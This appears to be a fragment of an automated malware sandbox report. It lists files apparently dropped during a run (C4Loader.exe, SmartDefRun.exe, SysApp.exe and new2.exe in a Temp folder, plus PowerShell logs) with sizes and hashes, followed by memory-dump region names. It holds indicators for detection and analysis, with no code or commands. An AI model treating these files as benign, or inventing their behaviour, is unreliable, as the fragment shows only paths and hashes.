                                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                  • Size 2KB
                                  • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                  • MD5 SHA1 SHA512

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 19KB
                                  • SHA256 1e8f7f499dc47e4c435a6c3296a795a6aff3723901f76a56bbd93d62aaa9d7f4
                                  • MD5 SHA1 SHA512 SSDEEP

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 948B
                                  • SHA256 ef7d503547d6e26552919238f3665ebae15f72354a6adf7d1caad23242ca4120
                                  • MD5 SHA1 SHA512

                                  C4Loader.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                                  • Size 1.4MB
                                  • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                                  • MD5 SHA1 SHA512 SSDEEP

                                  C4Loader.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                                  • Size 1.4MB
                                  • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                                  • MD5 SHA1 SHA512 SSDEEP

                                  SmartDefRun.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                                  • Size 3.7MB
                                  • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                                  • MD5 SHA1 SHA512 SSDEEP

                                  SmartDefRun.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                                  • Size 3.7MB
                                  • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                                  • MD5 SHA1 SHA512 SSDEEP

                                  SysApp.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                                  • Size 1.4MB
                                  • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                                  • MD5 SHA1 SHA512 SSDEEP

                                  SysApp.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                                  • Size 1.4MB
                                  • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                                  • MD5 SHA1 SHA512 SSDEEP

                                  new2.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                                  • Size 477KB
                                  • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                                  • MD5 SHA1 SHA512 SSDEEP

                                  new2.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                                  • Size 477KB
                                  • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                                  • MD5 SHA1 SHA512 SSDEEP

                                  memory/348-148-0x0000000006F50000-0x0000000006F82000-memory.dmp

                                  memory/348-159-0x0000000008F10000-0x00000000094B4000-memory.dmp

                                  memory/348-150-0x0000000006F30000-0x0000000006F4E000-memory.dmp

                                  memory/348-151-0x00000000082E0000-0x000000000895A000-memory.dmp

                                  memory/348-152-0x0000000007CA0000-0x0000000007CBA000-memory.dmp

                                  memory/348-153-0x0000000007D10000-0x0000000007D1A000-memory.dmp

                                  memory/348-154-0x0000000007F60000-0x0000000007FF6000-memory.dmp

                                  memory/348-155-0x0000000007ED0000-0x0000000007EDE000-memory.dmp

                                  memory/348-156-0x0000000007F20000-0x0000000007F3A000-memory.dmp

                                  memory/348-157-0x0000000007F10000-0x0000000007F18000-memory.dmp

                                  memory/348-158-0x0000000008030000-0x0000000008052000-memory.dmp

                                  memory/348-142-0x00000000053B0000-0x00000000053E6000-memory.dmp

                                  memory/348-147-0x0000000006980000-0x000000000699E000-memory.dmp

                                  memory/348-143-0x0000000005AF0000-0x0000000006118000-memory.dmp

                                  memory/348-146-0x0000000006340000-0x00000000063A6000-memory.dmp

                                  memory/348-144-0x00000000059F0000-0x0000000005A12000-memory.dmp

                                  memory/348-145-0x00000000062D0000-0x0000000006336000-memory.dmp

                                  memory/348-149-0x0000000074B90000-0x0000000074BDC000-memory.dmp

                                  memory/384-222-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

                                  memory/628-223-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

                                  memory/2452-216-0x0000000140000000-0x0000000140029000-memory.dmp

                                  memory/2452-221-0x00007FFC70A90000-0x00007FFC70B4E000-memory.dmp

                                  memory/2452-219-0x0000000140000000-0x0000000140029000-memory.dmp

                                  memory/2452-220-0x00007FFC721B0000-0x00007FFC723A5000-memory.dmp

                                  memory/3120-192-0x00000278E9EF0000-0x00000278E9F12000-memory.dmp

                                  memory/3120-195-0x00007FFC52630000-0x00007FFC530F1000-memory.dmp

                                  memory/3120-194-0x00007FFC52630000-0x00007FFC530F1000-memory.dmp

                                  memory/3668-165-0x0000000000700000-0x000000000086C000-memory.dmp

                                  memory/3668-173-0x0000000005890000-0x000000000589A000-memory.dmp

                                  memory/3668-169-0x0000000005100000-0x0000000005192000-memory.dmp

                                  memory/3776-134-0x0000000000400000-0x0000000000405000-memory.dmp

                                  memory/3776-140-0x0000000000400000-0x0000000000405000-memory.dmp

                                  memory/4252-188-0x0000000005FC0000-0x0000000006010000-memory.dmp

                                  memory/4252-182-0x0000000004CE0000-0x0000000004DEA000-memory.dmp

                                  memory/4252-180-0x0000000005180000-0x0000000005798000-memory.dmp

                                  memory/4252-181-0x0000000004BB0000-0x0000000004BC2000-memory.dmp

                                  memory/4252-175-0x0000000000400000-0x0000000000420000-memory.dmp

                                  memory/4252-187-0x0000000005DB0000-0x0000000005DCE000-memory.dmp

                                  memory/4252-183-0x0000000004C10000-0x0000000004C4C000-memory.dmp

                                  memory/4252-189-0x00000000069C0000-0x0000000006B82000-memory.dmp

                                  memory/4252-190-0x00000000070C0000-0x00000000075EC000-memory.dmp

                                  memory/4252-186-0x0000000005AA0000-0x0000000005B16000-memory.dmp

                                  memory/4328-213-0x00007FFC52A60000-0x00007FFC53521000-memory.dmp

                                  memory/4328-214-0x00007FFC721B0000-0x00007FFC723A5000-memory.dmp

                                  memory/4328-215-0x00007FFC70A90000-0x00007FFC70B4E000-memory.dmp

                                  memory/5032-204-0x0000000002732000-0x000000000286F000-memory.dmp

                                  memory/5032-184-0x0000000002223000-0x0000000002727000-memory.dmp

                                  memory/5032-185-0x0000000002732000-0x000000000286F000-memory.dmp

                                  memory/5032-191-0x0000000002223000-0x0000000002727000-memory.dmp

                                  memory/5092-210-0x00007FFC52630000-0x00007FFC530F1000-memory.dmp

                                  memory/5092-205-0x00007FFC52630000-0x00007FFC530F1000-memory.dmp